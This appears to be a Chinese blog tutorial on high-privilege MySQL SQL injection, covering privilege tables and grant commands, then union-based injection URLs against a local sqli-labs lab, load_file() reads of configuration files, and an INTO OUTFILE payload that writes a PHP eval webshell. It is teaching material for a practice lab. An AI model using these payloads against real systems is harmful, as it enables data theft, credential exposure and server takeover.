sql注入之高权限注入和文件读写

死在山野的风里,活在自由的梦里

sql注入之高权限注入和文件读写

高权限注入

在数据库中区分有数据库系统用户与数据库普通用户,高权限系统用户拥有整个服务器数据库的操作权限,而普通用户只拥有部分已配置的权限。

取得高权限用户权限,可以查看所有数据库,还可以对服务器文件进行读写操作。

1.多个网站共享mysql服务器

为什么会出现高权限注入的原因

连接mysql的配置文件

2.MySQL 权限介绍

mysql中存在4个控制权限的表,分别为user表,db表,tables_priv(表权限)表,columns_priv(列权限)表,我当前的版本mysql 5.7.22 。

mysql权限表的验证过程为:
	先从user表中的Host,User,Password这3个字段中判断连接的ip、用户名、密码是否存在,存在则通过验证。

通过身份认证后,进行权限分配,
	按照user,db,tables_priv,columns_priv的顺序进行验证。
	即先检查全局权限表user,如果user中对应的权限为Y,则此用户对所有数据库的权限都为Y,
	将不再检查db, tables_priv,columns_priv;如果为N,则到db表中检查此用户对应的具体数据库,
	并得到db中为Y的权限;如果db中为N,则检查tables_priv中此数据库对应的具体表,取得表中的权限Y,以此类推。
	
	 2.1 系统权限表
	User表:存放用户账户信息以及全局级别(所有数据库)权限,决定了来自哪些主机的哪些用户可以访问数据库实例,如果有全局权限则意味着对所有数据库都有此权限 
	Db表:存放数据库级别的权限,决定了来自哪些主机的哪些用户可以访问此数据库 
	Tables_priv表:存放表级别的权限,决定了来自哪些主机的哪些用户可以访问数据库的这个表 
	Columns_priv表:存放列级别的权限,决定了来自哪些主机的哪些用户可以访问数据库表的这个字段 
	Procs_priv表:存放存储过程和函数级别的权限

(1)查看root的权限

select * from user where user='root' and host='localhost'\G;

(2)给普通用户test1所有权限

GRANT ALL PRIVILEGES ON *.* To 'test1'@'localhost' WITH GRANT OPTION;

(3)查看mysql 有哪些用户:

mysql> select user,host from mysql.user;

(4)创建 mysql 用户

有两种方式创建MySQL授权用户

执行create user/grant命令(推荐方式)
CREATE USER 'finley'@'localhost' IDENTIFIED BY 'some_pass';
通过insert语句直接操作MySQL系统权限表

(5)只提供id查询权限

让user1有test库的t1表的读取id的权限

 grant select(id) on test.t1 to user1@'localhost' identified by '123456';

(6)删除用户

drop user finley@'localhost';

3.注入流程

查询所有数据库名称

http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata

查询表名对应的字段名

http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=0x7431

查询数据

http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,name,pass%20from%20test.t1

文件读写

1.文件读写注入的原理

就是利用文件的读写权限进行注入,它可以写入一句话木马,也可以读取系统文件的敏感信息。

2.文件读写注入的条件

高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限

secure_file_priv选项

linux
cat /etc/my.cnf
    [mysqld]
    secure_file_priv=

win
   my.ini
      [mysqld]
         secure_file_priv=

查看mysql全局变量的配置

show global variables like '%secure%'

1、读写文件需要 secure_file_priv权限

secure_file_priv=

代表对文件读写没有限制

secure_file_priv=NULL

代表不能进行文件读写

secure_file_priv=d:/phpstudy/mysql/data

代表只能对该路径下文件进行读写

2、知道网站绝对路径

Windows常见:

Linux常见:

路径获取常见方式:

报错显示,遗留文件,漏洞报错,平台配置文件等

3.读取文件

使用函数:load_file()

union select load_file('绝对路径');

后面的路径可以是单引号,0x,char转换的字符。

注意:路径中斜杠是/不是\。

一般可以与union中做为一个字段使用,查看config.php(即mysql的密码),apache配置...

4.写入文件

union select 1,'<?php eval($_POST["1"]);?>',3 into outfile 'd:/1.php'

使用函数:Into Outfile(能写入多行,按格式输出)和 into Dumpfile(只能写入一行且没有输出格式)

outfile 后面不能接0x开头或者char转换以后的路径,只能是单引号路径

相关推荐
Amd7942 小时前
深入探讨索引的创建与删除:提升数据库查询效率的关键技术
数据结构·sql·数据库管理·索引·性能提升·查询优化·数据检索
ac-er88883 小时前
Yii框架中的队列:如何实现异步操作
android·开发语言·php
流氓也是种气质 _Cookie5 小时前
uniapp 在线更新应用
android·uniapp
zhangphil7 小时前
Android ValueAnimator ImageView animate() rotation,Kotlin
android·kotlin
徊忆羽菲8 小时前
CentOS7使用源码安装PHP8教程整理
android
编程、小哥哥9 小时前
python操作mysql
android·python
Couvrir洪荒猛兽9 小时前
Android实训十 数据存储和访问
android
五味香12 小时前
Java学习,List 元素替换
android·java·开发语言·python·学习·golang·kotlin
十二测试录12 小时前
【自动化测试】—— Appium使用保姆教程
android·经验分享·测试工具·程序人生·adb·appium·自动化
Couvrir洪荒猛兽14 小时前
Android实训九 数据存储和访问
android